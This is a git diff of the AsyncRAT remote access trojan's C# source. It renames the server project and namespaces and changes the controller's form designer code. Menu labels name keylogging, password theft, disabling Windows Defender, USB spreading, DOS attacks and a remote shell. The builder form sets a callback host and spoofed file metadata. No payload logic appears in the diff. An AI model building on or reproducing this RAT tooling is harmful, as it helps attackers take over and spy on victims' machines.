diff --git a/AsyncRAT-C#/AsyncRAT-Sharp.sln b/AsyncRAT-C#/AsyncRAT-Sharp.sln
index 62d96fd..6a96f0f 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp.sln
+++ b/AsyncRAT-C#/AsyncRAT-Sharp.sln
@@ -1,9 +1,9 @@
Microsoft Visual Studio Solution File, Format Version 12.00
-# Visual Studio 15
-VisualStudioVersion = 15.0.28307.168
+# Visual Studio Version 16
+VisualStudioVersion = 16.0.29009.5
MinimumVisualStudioVersion = 10.0.40219.1
-Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "AsyncRAT-Sharp", "AsyncRAT-Sharp\AsyncRAT-Sharp.csproj", "{7767C300-5FD5-4A5D-9D4C-59559CCE48A3}"
+Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Server", "Server\Server.csproj", "{7767C300-5FD5-4A5D-9D4C-59559CCE48A3}"
EndProject
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Client", "Client\Client.csproj", "{C3C49F45-2589-4E04-9C50-71B6035C14AE}"
EndProject
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/App.config b/AsyncRAT-C#/Server/App.config
similarity index 100%
rename from AsyncRAT-C#/AsyncRAT-Sharp/App.config
rename to AsyncRAT-C#/Server/App.config
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Cryptography/Aes256.cs b/AsyncRAT-C#/Server/Cryptography/Aes256.cs
similarity index 99%
rename from AsyncRAT-C#/AsyncRAT-Sharp/Cryptography/Aes256.cs
rename to AsyncRAT-C#/Server/Cryptography/Aes256.cs
index 1423e3e..3c3288d 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Cryptography/Aes256.cs
+++ b/AsyncRAT-C#/Server/Cryptography/Aes256.cs
@@ -7,7 +7,7 @@ using System.Security.Cryptography;
using System.Text;
using System.Threading.Tasks;
-namespace AsyncRAT_Sharp.Cryptography
+namespace Server.Cryptography
{
public class Aes256
{
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Cryptography/Sha256.cs b/AsyncRAT-C#/Server/Cryptography/Sha256.cs
similarity index 95%
rename from AsyncRAT-C#/AsyncRAT-Sharp/Cryptography/Sha256.cs
rename to AsyncRAT-C#/Server/Cryptography/Sha256.cs
index 55e815c..c048434 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Cryptography/Sha256.cs
+++ b/AsyncRAT-C#/Server/Cryptography/Sha256.cs
@@ -1,7 +1,7 @@
using System.Security.Cryptography;
using System.Text;
-namespace AsyncRAT_Sharp.Cryptography
+namespace Server.Cryptography
{
public static class Sha256
{
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.Designer.cs b/AsyncRAT-C#/Server/Forms/Form1.Designer.cs
similarity index 95%
rename from AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.Designer.cs
rename to AsyncRAT-C#/Server/Forms/Form1.Designer.cs
index 4b9e4eb..21e6fe9 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.Designer.cs
+++ b/AsyncRAT-C#/Server/Forms/Form1.Designer.cs
@@ -1,4 +1,4 @@
-namespace AsyncRAT_Sharp
+namespace Server
{
partial class Form1
{
@@ -223,7 +223,7 @@
//
// aBOUTToolStripMenuItem
//
- this.aBOUTToolStripMenuItem.Image = global::AsyncRAT_Sharp.Properties.Resources.info;
+ this.aBOUTToolStripMenuItem.Image = global::Server.Properties.Resources.info;
this.aBOUTToolStripMenuItem.Name = "aBOUTToolStripMenuItem";
this.aBOUTToolStripMenuItem.Size = new System.Drawing.Size(198, 32);
this.aBOUTToolStripMenuItem.Text = "ABOUT";
@@ -239,7 +239,7 @@
this.sENDFILEToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] {
this.tOMEMORYToolStripMenuItem,
this.tODISKToolStripMenuItem});
- this.sENDFILEToolStripMenuItem.Image = global::AsyncRAT_Sharp.Properties.Resources.tomem;
+ this.sENDFILEToolStripMenuItem.Image = global::Server.Properties.Resources.tomem;
this.sENDFILEToolStripMenuItem.Name = "sENDFILEToolStripMenuItem";
this.sENDFILEToolStripMenuItem.Size = new System.Drawing.Size(198, 32);
this.sENDFILEToolStripMenuItem.Text = "Send File";
@@ -267,14 +267,14 @@
this.fileManagerToolStripMenuItem1,
this.processManagerToolStripMenuItem1,
this.reportWindowToolStripMenuItem});
- this.monitoringToolStripMenuItem.Image = global::AsyncRAT_Sharp.Properties.Resources.monitoring_system;
+ this.monitoringToolStripMenuItem.Image = global::Server.Properties.Resources.monitoring_system;
this.monitoringToolStripMenuItem.Name = "monitoringToolStripMenuItem";
this.monitoringToolStripMenuItem.Size = new System.Drawing.Size(198, 32);
this.monitoringToolStripMenuItem.Text = "Monitoring";
//
// remoteDesktopToolStripMenuItem1
//
- this.remoteDesktopToolStripMenuItem1.Image = global::AsyncRAT_Sharp.Properties.Resources.remotedesktop;
+ this.remoteDesktopToolStripMenuItem1.Image = global::Server.Properties.Resources.remotedesktop;
this.remoteDesktopToolStripMenuItem1.Name = "remoteDesktopToolStripMenuItem1";
this.remoteDesktopToolStripMenuItem1.Size = new System.Drawing.Size(270, 34);
this.remoteDesktopToolStripMenuItem1.Text = "Remote Desktop";
@@ -282,7 +282,7 @@
//
// keyloggerToolStripMenuItem1
//
- this.keyloggerToolStripMenuItem1.Image = global::AsyncRAT_Sharp.Properties.Resources.logger;
+ this.keyloggerToolStripMenuItem1.Image = global::Server.Properties.Resources.logger;
this.keyloggerToolStripMenuItem1.Name = "keyloggerToolStripMenuItem1";
this.keyloggerToolStripMenuItem1.Size = new System.Drawing.Size(270, 34);
this.keyloggerToolStripMenuItem1.Text = "Keylogger";
@@ -290,7 +290,7 @@
//
// passwordRecoveryToolStripMenuItem1
//
- this.passwordRecoveryToolStripMenuItem1.Image = global::AsyncRAT_Sharp.Properties.Resources.key;
+ this.passwordRecoveryToolStripMenuItem1.Image = global::Server.Properties.Resources.key;
this.passwordRecoveryToolStripMenuItem1.Name = "passwordRecoveryToolStripMenuItem1";
this.passwordRecoveryToolStripMenuItem1.Size = new System.Drawing.Size(270, 34);
this.passwordRecoveryToolStripMenuItem1.Text = "Password Recovery";
@@ -298,7 +298,7 @@
//
// fileManagerToolStripMenuItem1
//
- this.fileManagerToolStripMenuItem1.Image = global::AsyncRAT_Sharp.Properties.Resources.filemanager;
+ this.fileManagerToolStripMenuItem1.Image = global::Server.Properties.Resources.filemanager;
this.fileManagerToolStripMenuItem1.Name = "fileManagerToolStripMenuItem1";
this.fileManagerToolStripMenuItem1.Size = new System.Drawing.Size(270, 34);
this.fileManagerToolStripMenuItem1.Text = "File Manager";
@@ -306,7 +306,7 @@
//
// processManagerToolStripMenuItem1
//
- this.processManagerToolStripMenuItem1.Image = global::AsyncRAT_Sharp.Properties.Resources.process;
+ this.processManagerToolStripMenuItem1.Image = global::Server.Properties.Resources.process;
this.processManagerToolStripMenuItem1.Name = "processManagerToolStripMenuItem1";
this.processManagerToolStripMenuItem1.Size = new System.Drawing.Size(270, 34);
this.processManagerToolStripMenuItem1.Text = "Process Manager";
@@ -317,7 +317,7 @@
this.reportWindowToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] {
this.runToolStripMenuItem1,
this.stopToolStripMenuItem2});
- this.reportWindowToolStripMenuItem.Image = global::AsyncRAT_Sharp.Properties.Resources.report;
+ this.reportWindowToolStripMenuItem.Image = global::Server.Properties.Resources.report;
this.reportWindowToolStripMenuItem.Name = "reportWindowToolStripMenuItem";
this.reportWindowToolStripMenuItem.Size = new System.Drawing.Size(270, 34);
this.reportWindowToolStripMenuItem.Text = "Report Window";
@@ -347,14 +347,14 @@
this.remoteShellToolStripMenuItem1,
this.dOSAttackToolStripMenuItem,
this.executeNETCodeToolStripMenuItem});
- this.miscellaneousToolStripMenuItem.Image = global::AsyncRAT_Sharp.Properties.Resources.Miscellaneous;
+ this.miscellaneousToolStripMenuItem.Image = global::Server.Properties.Resources.Miscellaneous;
this.miscellaneousToolStripMenuItem.Name = "miscellaneousToolStripMenuItem";
this.miscellaneousToolStripMenuItem.Size = new System.Drawing.Size(198, 32);
this.miscellaneousToolStripMenuItem.Text = "Miscellaneous";
//
// getAdminPrivilegesToolStripMenuItem
//
- this.getAdminPrivilegesToolStripMenuItem.Image = global::AsyncRAT_Sharp.Properties.Resources.uac;
+ this.getAdminPrivilegesToolStripMenuItem.Image = global::Server.Properties.Resources.uac;
this.getAdminPrivilegesToolStripMenuItem.Name = "getAdminPrivilegesToolStripMenuItem";
this.getAdminPrivilegesToolStripMenuItem.Size = new System.Drawing.Size(329, 34);
this.getAdminPrivilegesToolStripMenuItem.Text = "Get Admin Privileges";
@@ -362,7 +362,7 @@
//
// disableWindowsDefenderToolStripMenuItem
//
- this.disableWindowsDefenderToolStripMenuItem.Image = global::AsyncRAT_Sharp.Properties.Resources.disabled;
+ this.disableWindowsDefenderToolStripMenuItem.Image = global::Server.Properties.Resources.disabled;
this.disableWindowsDefenderToolStripMenuItem.Name = "disableWindowsDefenderToolStripMenuItem";
this.disableWindowsDefenderToolStripMenuItem.Size = new System.Drawing.Size(329, 34);
this.disableWindowsDefenderToolStripMenuItem.Text = "Disable Windows Defender";
@@ -370,7 +370,7 @@
//
// botsKillerToolStripMenuItem
//
- this.botsKillerToolStripMenuItem.Image = global::AsyncRAT_Sharp.Properties.Resources.botkiller;
+ this.botsKillerToolStripMenuItem.Image = global::Server.Properties.Resources.botkiller;
this.botsKillerToolStripMenuItem.Name = "botsKillerToolStripMenuItem";
this.botsKillerToolStripMenuItem.Size = new System.Drawing.Size(329, 34);
this.botsKillerToolStripMenuItem.Text = "Bots Killer";
@@ -378,7 +378,7 @@
//
// uSBSpreadToolStripMenuItem1
//
- this.uSBSpreadToolStripMenuItem1.Image = global::AsyncRAT_Sharp.Properties.Resources.usb;
+ this.uSBSpreadToolStripMenuItem1.Image = global::Server.Properties.Resources.usb;
this.uSBSpreadToolStripMenuItem1.Name = "uSBSpreadToolStripMenuItem1";
this.uSBSpreadToolStripMenuItem1.Size = new System.Drawing.Size(329, 34);
this.uSBSpreadToolStripMenuItem1.Text = "USB Spread";
@@ -386,7 +386,7 @@
//
// seedTorrentToolStripMenuItem1
//
- this.seedTorrentToolStripMenuItem1.Image = global::AsyncRAT_Sharp.Properties.Resources.u_torrent_logo;
+ this.seedTorrentToolStripMenuItem1.Image = global::Server.Properties.Resources.u_torrent_logo;
this.seedTorrentToolStripMenuItem1.Name = "seedTorrentToolStripMenuItem1";
this.seedTorrentToolStripMenuItem1.Size = new System.Drawing.Size(329, 34);
this.seedTorrentToolStripMenuItem1.Text = "Seed Torrent";
@@ -394,7 +394,7 @@
//
// remoteShellToolStripMenuItem1
//
- this.remoteShellToolStripMenuItem1.Image = global::AsyncRAT_Sharp.Properties.Resources.shell;
+ this.remoteShellToolStripMenuItem1.Image = global::Server.Properties.Resources.shell;
this.remoteShellToolStripMenuItem1.Name = "remoteShellToolStripMenuItem1";
this.remoteShellToolStripMenuItem1.Size = new System.Drawing.Size(329, 34);
this.remoteShellToolStripMenuItem1.Text = "Remote Shell";
@@ -402,7 +402,7 @@
//
// dOSAttackToolStripMenuItem
//
- this.dOSAttackToolStripMenuItem.Image = global::AsyncRAT_Sharp.Properties.Resources.ddos;
+ this.dOSAttackToolStripMenuItem.Image = global::Server.Properties.Resources.ddos;
this.dOSAttackToolStripMenuItem.Name = "dOSAttackToolStripMenuItem";
this.dOSAttackToolStripMenuItem.Size = new System.Drawing.Size(329, 34);
this.dOSAttackToolStripMenuItem.Text = "DOS Attack";
@@ -410,7 +410,7 @@
//
// executeNETCodeToolStripMenuItem
//
- this.executeNETCodeToolStripMenuItem.Image = global::AsyncRAT_Sharp.Properties.Resources.coding;
+ this.executeNETCodeToolStripMenuItem.Image = global::Server.Properties.Resources.coding;
this.executeNETCodeToolStripMenuItem.Name = "executeNETCodeToolStripMenuItem";
this.executeNETCodeToolStripMenuItem.Size = new System.Drawing.Size(329, 34);
this.executeNETCodeToolStripMenuItem.Text = "Execute .NET Code";
@@ -422,14 +422,14 @@
this.visitWebsiteToolStripMenuItem1,
this.sendMessageBoxToolStripMenuItem1,
this.chatToolStripMenuItem1});
- this.extraToolStripMenuItem.Image = global::AsyncRAT_Sharp.Properties.Resources.extra;
+ this.extraToolStripMenuItem.Image = global::Server.Properties.Resources.extra;
this.extraToolStripMenuItem.Name = "extraToolStripMenuItem";
this.extraToolStripMenuItem.Size = new System.Drawing.Size(198, 32);
this.extraToolStripMenuItem.Text = "Extra";
//
// visitWebsiteToolStripMenuItem1
//
- this.visitWebsiteToolStripMenuItem1.Image = global::AsyncRAT_Sharp.Properties.Resources.visit;
+ this.visitWebsiteToolStripMenuItem1.Image = global::Server.Properties.Resources.visit;
this.visitWebsiteToolStripMenuItem1.Name = "visitWebsiteToolStripMenuItem1";
this.visitWebsiteToolStripMenuItem1.Size = new System.Drawing.Size(270, 34);
this.visitWebsiteToolStripMenuItem1.Text = "Visit Website";
@@ -437,7 +437,7 @@
//
// sendMessageBoxToolStripMenuItem1
//
- this.sendMessageBoxToolStripMenuItem1.Image = global::AsyncRAT_Sharp.Properties.Resources.msgbox;
+ this.sendMessageBoxToolStripMenuItem1.Image = global::Server.Properties.Resources.msgbox;
this.sendMessageBoxToolStripMenuItem1.Name = "sendMessageBoxToolStripMenuItem1";
this.sendMessageBoxToolStripMenuItem1.Size = new System.Drawing.Size(270, 34);
this.sendMessageBoxToolStripMenuItem1.Text = "Send MessageBox";
@@ -445,7 +445,7 @@
//
// chatToolStripMenuItem1
//
- this.chatToolStripMenuItem1.Image = global::AsyncRAT_Sharp.Properties.Resources.chat;
+ this.chatToolStripMenuItem1.Image = global::Server.Properties.Resources.chat;
this.chatToolStripMenuItem1.Name = "chatToolStripMenuItem1";
this.chatToolStripMenuItem1.Size = new System.Drawing.Size(270, 34);
this.chatToolStripMenuItem1.Text = "Chat";
@@ -456,7 +456,7 @@
this.systemToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] {
this.clientToolStripMenuItem,
this.pCToolStripMenuItem});
- this.systemToolStripMenuItem.Image = global::AsyncRAT_Sharp.Properties.Resources.system;
+ this.systemToolStripMenuItem.Image = global::Server.Properties.Resources.system;
this.systemToolStripMenuItem.Name = "systemToolStripMenuItem";
this.systemToolStripMenuItem.Size = new System.Drawing.Size(198, 32);
this.systemToolStripMenuItem.Text = "System";
@@ -470,7 +470,7 @@
this.uninstallToolStripMenuItem,
this.toolStripSeparator3,
this.showFolderToolStripMenuItem});
- this.clientToolStripMenuItem.Image = global::AsyncRAT_Sharp.Properties.Resources.client;
+ this.clientToolStripMenuItem.Image = global::Server.Properties.Resources.client;
this.clientToolStripMenuItem.Name = "clientToolStripMenuItem";
this.clientToolStripMenuItem.Size = new System.Drawing.Size(158, 34);
this.clientToolStripMenuItem.Text = "Client";
@@ -521,7 +521,7 @@
this.logoffToolStripMenuItem1,
this.restartToolStripMenuItem3,
this.shutdownToolStripMenuItem1});
- this.pCToolStripMenuItem.Image = global::AsyncRAT_Sharp.Properties.Resources.pc;
+ this.pCToolStripMenuItem.Image = global::Server.Properties.Resources.pc;
this.pCToolStripMenuItem.Name = "pCToolStripMenuItem";
this.pCToolStripMenuItem.Size = new System.Drawing.Size(158, 34);
this.pCToolStripMenuItem.Text = "PC";
@@ -554,7 +554,7 @@
//
// bUILDERToolStripMenuItem
//
- this.bUILDERToolStripMenuItem.Image = global::AsyncRAT_Sharp.Properties.Resources.builder;
+ this.bUILDERToolStripMenuItem.Image = global::Server.Properties.Resources.builder;
this.bUILDERToolStripMenuItem.Name = "bUILDERToolStripMenuItem";
this.bUILDERToolStripMenuItem.Size = new System.Drawing.Size(198, 32);
this.bUILDERToolStripMenuItem.Text = "BUILDER";
@@ -711,7 +711,7 @@
//
// sTARTToolStripMenuItem
//
- this.sTARTToolStripMenuItem.Image = global::AsyncRAT_Sharp.Properties.Resources.play_button;
+ this.sTARTToolStripMenuItem.Image = global::Server.Properties.Resources.play_button;
this.sTARTToolStripMenuItem.Name = "sTARTToolStripMenuItem";
this.sTARTToolStripMenuItem.Size = new System.Drawing.Size(139, 32);
this.sTARTToolStripMenuItem.Text = "START";
@@ -719,7 +719,7 @@
//
// sTOPToolStripMenuItem
//
- this.sTOPToolStripMenuItem.Image = global::AsyncRAT_Sharp.Properties.Resources.stop__1_;
+ this.sTOPToolStripMenuItem.Image = global::Server.Properties.Resources.stop__1_;
this.sTOPToolStripMenuItem.Name = "sTOPToolStripMenuItem";
this.sTOPToolStripMenuItem.Size = new System.Drawing.Size(139, 32);
this.sTOPToolStripMenuItem.Text = "STOP";
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.cs b/AsyncRAT-C#/Server/Forms/Form1.cs
similarity index 99%
rename from AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.cs
rename to AsyncRAT-C#/Server/Forms/Form1.cs
index 0a65e29..fd90be0 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.cs
+++ b/AsyncRAT-C#/Server/Forms/Form1.cs
@@ -1,19 +1,19 @@
using System;
using System.Windows.Forms;
-using AsyncRAT_Sharp.MessagePack;
-using AsyncRAT_Sharp.Sockets;
+using Server.MessagePack;
+using Server.Sockets;
using System.Threading.Tasks;
using Microsoft.VisualBasic;
using System.Linq;
using System.Threading;
using System.Drawing;
using System.IO;
-using AsyncRAT_Sharp.Forms;
-using AsyncRAT_Sharp.Cryptography;
+using Server.Forms;
+using Server.Cryptography;
using System.Diagnostics;
using System.Net.Sockets;
-using AsyncRAT_Sharp.Handle_Packet;
-using AsyncRAT_Sharp.Helper;
+using Server.Handle_Packet;
+using Server.Helper;
using System.Security.Cryptography.X509Certificates;
using System.Collections.Generic;
@@ -25,7 +25,7 @@ using System.Collections.Generic;
This program Is distributed for educational purposes only.
*/
-namespace AsyncRAT_Sharp
+namespace Server
{
public partial class Form1 : Form
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.resx b/AsyncRAT-C#/Server/Forms/Form1.resx
similarity index 100%
rename from AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.resx
rename to AsyncRAT-C#/Server/Forms/Form1.resx
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormAbout.Designer.cs b/AsyncRAT-C#/Server/Forms/FormAbout.Designer.cs
similarity index 98%
rename from AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormAbout.Designer.cs
rename to AsyncRAT-C#/Server/Forms/FormAbout.Designer.cs
index 432299f..d32b896 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormAbout.Designer.cs
+++ b/AsyncRAT-C#/Server/Forms/FormAbout.Designer.cs
@@ -1,4 +1,4 @@
-namespace AsyncRAT_Sharp.Forms
+namespace Server.Forms
{
partial class FormAbout
{
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormAbout.cs b/AsyncRAT-C#/Server/Forms/FormAbout.cs
similarity index 92%
rename from AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormAbout.cs
rename to AsyncRAT-C#/Server/Forms/FormAbout.cs
index 0b5a3e2..c827860 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormAbout.cs
+++ b/AsyncRAT-C#/Server/Forms/FormAbout.cs
@@ -8,7 +8,7 @@ using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
-namespace AsyncRAT_Sharp.Forms
+namespace Server.Forms
{
public partial class FormAbout : Form
{
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormAbout.resx b/AsyncRAT-C#/Server/Forms/FormAbout.resx
similarity index 100%
rename from AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormAbout.resx
rename to AsyncRAT-C#/Server/Forms/FormAbout.resx
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormBuilder.Designer.cs b/AsyncRAT-C#/Server/Forms/FormBuilder.Designer.cs
similarity index 93%
rename from AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormBuilder.Designer.cs
rename to AsyncRAT-C#/Server/Forms/FormBuilder.Designer.cs
index ad98668..5edeec2 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormBuilder.Designer.cs
+++ b/AsyncRAT-C#/Server/Forms/FormBuilder.Designer.cs
@@ -1,4 +1,4 @@
-namespace AsyncRAT_Sharp.Forms
+namespace Server.Forms
{
partial class FormBuilder
{
@@ -220,13 +220,13 @@ namespace AsyncRAT_Sharp.Forms
//
// txtPastebin
//
- this.txtPastebin.DataBindings.Add(new System.Windows.Forms.Binding("Text", global::AsyncRAT_Sharp.Properties.Settings.Default, "Pastebin", true, System.Windows.Forms.DataSourceUpdateMode.OnPropertyChanged));
+ this.txtPastebin.DataBindings.Add(new System.Windows.Forms.Binding("Text", global::Server.Properties.Settings.Default, "Pastebin", true, System.Windows.Forms.DataSourceUpdateMode.OnPropertyChanged));
this.txtPastebin.Enabled = false;
this.txtPastebin.Location = new System.Drawing.Point(106, 352);
this.txtPastebin.Name = "txtPastebin";
this.txtPastebin.Size = new System.Drawing.Size(271, 26);
this.txtPastebin.TabIndex = 8;
- this.txtPastebin.Text = global::AsyncRAT_Sharp.Properties.Settings.Default.Pastebin;
+ this.txtPastebin.Text = global::Server.Properties.Settings.Default.Pastebin;
this.toolTip1.SetToolTip(this.txtPastebin, "IP:PORT .. Example 127.0.0.1:6606");
//
// label6
@@ -294,13 +294,13 @@ namespace AsyncRAT_Sharp.Forms
//
// textFilename
//
- this.textFilename.DataBindings.Add(new System.Windows.Forms.Binding("Text", global::AsyncRAT_Sharp.Properties.Settings.Default, "Filename", true, System.Windows.Forms.DataSourceUpdateMode.OnPropertyChanged));
+ this.textFilename.DataBindings.Add(new System.Windows.Forms.Binding("Text", global::Server.Properties.Settings.Default, "Filename", true, System.Windows.Forms.DataSourceUpdateMode.OnPropertyChanged));
this.textFilename.Enabled = false;
this.textFilename.Location = new System.Drawing.Point(103, 92);
this.textFilename.Name = "textFilename";
this.textFilename.Size = new System.Drawing.Size(271, 26);
this.textFilename.TabIndex = 5;
- this.textFilename.Text = global::AsyncRAT_Sharp.Properties.Settings.Default.Filename;
+ this.textFilename.Text = global::Server.Properties.Settings.Default.Filename;
//
// label3
//
@@ -336,7 +336,7 @@ namespace AsyncRAT_Sharp.Forms
//
// pictureBox1
//
- this.pictureBox1.Image = global::AsyncRAT_Sharp.Properties.Resources.uac;
+ this.pictureBox1.Image = global::Server.Properties.Resources.uac;
this.pictureBox1.Location = new System.Drawing.Point(175, 72);
this.pictureBox1.Name = "pictureBox1";
this.pictureBox1.Size = new System.Drawing.Size(32, 32);
@@ -356,12 +356,12 @@ namespace AsyncRAT_Sharp.Forms
//
// txtMutex
//
- this.txtMutex.DataBindings.Add(new System.Windows.Forms.Binding("Text", global::AsyncRAT_Sharp.Properties.Settings.Default, "Mutex", true, System.Windows.Forms.DataSourceUpdateMode.OnPropertyChanged));
+ this.txtMutex.DataBindings.Add(new System.Windows.Forms.Binding("Text", global::Server.Properties.Settings.Default, "Mutex", true, System.Windows.Forms.DataSourceUpdateMode.OnPropertyChanged));
this.txtMutex.Location = new System.Drawing.Point(106, 165);
this.txtMutex.Name = "txtMutex";
this.txtMutex.Size = new System.Drawing.Size(271, 26);
this.txtMutex.TabIndex = 11;
- this.txtMutex.Text = global::AsyncRAT_Sharp.Properties.Settings.Default.Mutex;
+ this.txtMutex.Text = global::Server.Properties.Settings.Default.Mutex;
//
// label5
//
@@ -482,63 +482,63 @@ namespace AsyncRAT_Sharp.Forms
//
// txtFileVersion
//
- this.txtFileVersion.DataBindings.Add(new System.Windows.Forms.Binding("Text", global::AsyncRAT_Sharp.Properties.Settings.Default, "txtFileVersion", true, System.Windows.Forms.DataSourceUpdateMode.OnPropertyChanged));
+ this.txtFileVersion.DataBindings.Add(new System.Windows.Forms.Binding("Text", global::Server.Properties.Settings.Default, "txtFileVersion", true, System.Windows.Forms.DataSourceUpdateMode.OnPropertyChanged));
this.txtFileVersion.Enabled = false;
this.txtFileVersion.Location = new System.Drawing.Point(159, 368);
this.txtFileVersion.Name = "txtFileVersion";
this.txtFileVersion.Size = new System.Drawing.Size(337, 26);
this.txtFileVersion.TabIndex = 19;
- this.txtFileVersion.Text = global::AsyncRAT_Sharp.Properties.Settings.Default.txtFileVersion;
+ this.txtFileVersion.Text = global::Server.Properties.Settings.Default.txtFileVersion;
//
// txtProductVersion
//
- this.txtProductVersion.DataBindings.Add(new System.Windows.Forms.Binding("Text", global::AsyncRAT_Sharp.Properties.Settings.Default, "txtProductVersion", true, System.Windows.Forms.DataSourceUpdateMode.OnPropertyChanged));
+ this.txtProductVersion.DataBindings.Add(new System.Windows.Forms.Binding("Text", global::Server.Properties.Settings.Default, "txtProductVersion", true, System.Windows.Forms.DataSourceUpdateMode.OnPropertyChanged));
this.txtProductVersion.Enabled = false;
this.txtProductVersion.Location = new System.Drawing.Point(159, 325);
this.txtProductVersion.Name = "txtProductVersion";
this.txtProductVersion.Size = new System.Drawing.Size(337, 26);
this.txtProductVersion.TabIndex = 18;
- this.txtProductVersion.Text = global::AsyncRAT_Sharp.Properties.Settings.Default.txtProductVersion;
+ this.txtProductVersion.Text = global::Server.Properties.Settings.Default.txtProductVersion;
//
// txtOriginalFilename
//
- this.txtOriginalFilename.DataBindings.Add(new System.Windows.Forms.Binding("Text", global::AsyncRAT_Sharp.Properties.Settings.Default, "txtOriginalFilename", true, System.Windows.Forms.DataSourceUpdateMode.OnPropertyChanged));
+ this.txtOriginalFilename.DataBindings.Add(new System.Windows.Forms.Binding("Text", global::Server.Properties.Settings.Default, "txtOriginalFilename", true, System.Windows.Forms.DataSourceUpdateMode.OnPropertyChanged));
this.txtOriginalFilename.Enabled = false;
this.txtOriginalFilename.Location = new System.Drawing.Point(159, 280);
this.txtOriginalFilename.Name = "txtOriginalFilename";
this.txtOriginalFilename.Size = new System.Drawing.Size(337, 26);
this.txtOriginalFilename.TabIndex = 17;
- this.txtOriginalFilename.Text = global::AsyncRAT_Sharp.Properties.Settings.Default.txtOriginalFilename;
+ this.txtOriginalFilename.Text = global::Server.Properties.Settings.Default.txtOriginalFilename;
//
// txtTrademarks
//
- this.txtTrademarks.DataBindings.Add(new System.Windows.Forms.Binding("Text", global::AsyncRAT_Sharp.Properties.Settings.Default, "txtTrademarks", true, System.Windows.Forms.DataSourceUpdateMode.OnPropertyChanged));
+ this.txtTrademarks.DataBindings.Add(new System.Windows.Forms.Binding("Text", global::Server.Properties.Settings.Default, "txtTrademarks", true, System.Windows.Forms.DataSourceUpdateMode.OnPropertyChanged));
this.txtTrademarks.Enabled = false;
this.txtTrademarks.Location = new System.Drawing.Point(159, 237);
this.txtTrademarks.Name = "txtTrademarks";
this.txtTrademarks.Size = new System.Drawing.Size(337, 26);
this.txtTrademarks.TabIndex = 16;
- this.txtTrademarks.Text = global::AsyncRAT_Sharp.Properties.Settings.Default.txtTrademarks;
+ this.txtTrademarks.Text = global::Server.Properties.Settings.Default.txtTrademarks;
//
// txtCopyright
//
- this.txtCopyright.DataBindings.Add(new System.Windows.Forms.Binding("Text", global::AsyncRAT_Sharp.Properties.Settings.Default, "txtCopyright", true, System.Windows.Forms.DataSourceUpdateMode.OnPropertyChanged));
+ this.txtCopyright.DataBindings.Add(new System.Windows.Forms.Binding("Text", global::Server.Properties.Settings.Default, "txtCopyright", true, System.Windows.Forms.DataSourceUpdateMode.OnPropertyChanged));
this.txtCopyright.Enabled = false;
this.txtCopyright.Location = new System.Drawing.Point(159, 198);
this.txtCopyright.Name = "txtCopyright";
this.txtCopyright.Size = new System.Drawing.Size(337, 26);
this.txtCopyright.TabIndex = 15;
- this.txtCopyright.Text = global::AsyncRAT_Sharp.Properties.Settings.Default.txtCopyright;
+ this.txtCopyright.Text = global::Server.Properties.Settings.Default.txtCopyright;
//
// txtCompany
//
- this.txtCompany.DataBindings.Add(new System.Windows.Forms.Binding("Text", global::AsyncRAT_Sharp.Properties.Settings.Default, "txtCompany", true, System.Windows.Forms.DataSourceUpdateMode.OnPropertyChanged));
+ this.txtCompany.DataBindings.Add(new System.Windows.Forms.Binding("Text", global::Server.Properties.Settings.Default, "txtCompany", true, System.Windows.Forms.DataSourceUpdateMode.OnPropertyChanged));
this.txtCompany.Enabled = false;
this.txtCompany.Location = new System.Drawing.Point(159, 155);
this.txtCompany.Name = "txtCompany";
this.txtCompany.Size = new System.Drawing.Size(337, 26);
this.txtCompany.TabIndex = 14;
- this.txtCompany.Text = global::AsyncRAT_Sharp.Properties.Settings.Default.txtCompany;
+ this.txtCompany.Text = global::Server.Properties.Settings.Default.txtCompany;
//
// label14
//
@@ -596,13 +596,13 @@ namespace AsyncRAT_Sharp.Forms
//
// txtDescription
//
- this.txtDescription.DataBindings.Add(new System.Windows.Forms.Binding("Text", global::AsyncRAT_Sharp.Properties.Settings.Default, "txtDescription", true, System.Windows.Forms.DataSourceUpdateMode.OnPropertyChanged));
+ this.txtDescription.DataBindings.Add(new System.Windows.Forms.Binding("Text", global::Server.Properties.Settings.Default, "txtDescription", true, System.Windows.Forms.DataSourceUpdateMode.OnPropertyChanged));
this.txtDescription.Enabled = false;
this.txtDescription.Location = new System.Drawing.Point(159, 112);
this.txtDescription.Name = "txtDescription";
this.txtDescription.Size = new System.Drawing.Size(337, 26);
this.txtDescription.TabIndex = 7;
- this.txtDescription.Text = global::AsyncRAT_Sharp.Properties.Settings.Default.txtDescription;
+ this.txtDescription.Text = global::Server.Properties.Settings.Default.txtDescription;
//
// label7
//
